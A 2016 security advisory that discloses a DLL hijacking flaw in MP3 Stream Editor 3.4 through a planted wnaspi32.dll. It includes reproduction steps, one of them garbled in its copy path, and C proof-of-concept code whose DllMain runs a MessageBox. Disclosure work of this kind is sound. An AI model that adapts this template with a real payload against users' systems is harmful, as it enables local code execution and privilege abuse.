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# MP3 Stream Editor 3.4 DLL Hijacking Vulnerability

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Document Title:
===============
MP3 Stream Editor 3.4 - DLL Hijacking Vulnerability


Release Date:
=============
2016-10-01


Vulnerability Disclosure Timeline:
==================================
2016-10-01 : Discovery of the Vulnerability
2016-10-01 : Contact the Vendor (No Response)
2016-10-07 : Public Disclosure


Product & Service Introduction:
===============================
MP3 Stream Editor is an audio tool, built around the visual non destructive MP3 and other compressed format editor that is you can edit MP3 audio without decoding and quality loss on a convenient 3D display with the mouse. It includes option to repair corrupted MP3 files, free Encode, re-encode, convert to WAV, cut and join MP3s, tag MP3s with a professional ID3v2 Tag editor, and burn them as audio CDs or MP3 CD/DVDs.

(Copy of the Vendor Homepage: http://www.3delite.hu/ )


Affected Product(s):
====================
3delite
Product: MP3 Stream Editor v3.4 - Software


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official MP3 Stream Editor v3.4 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.


Vulnerable Software:
[+] MP3 Stream Editor

Vulnerable Version(s):
[+] v3.4

Vulnerable Libraries:
[+] wnaspi32.dll



Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wnaspi32.dll
2. Copy wnaspi32.dll to C:\Program Files\MP3 Stream Editor\MP3SE.exe
3. Launch MP3SE.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461


Copyright © 2016 | ZwX - Security Researcher (Software & web application)

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-10-10]

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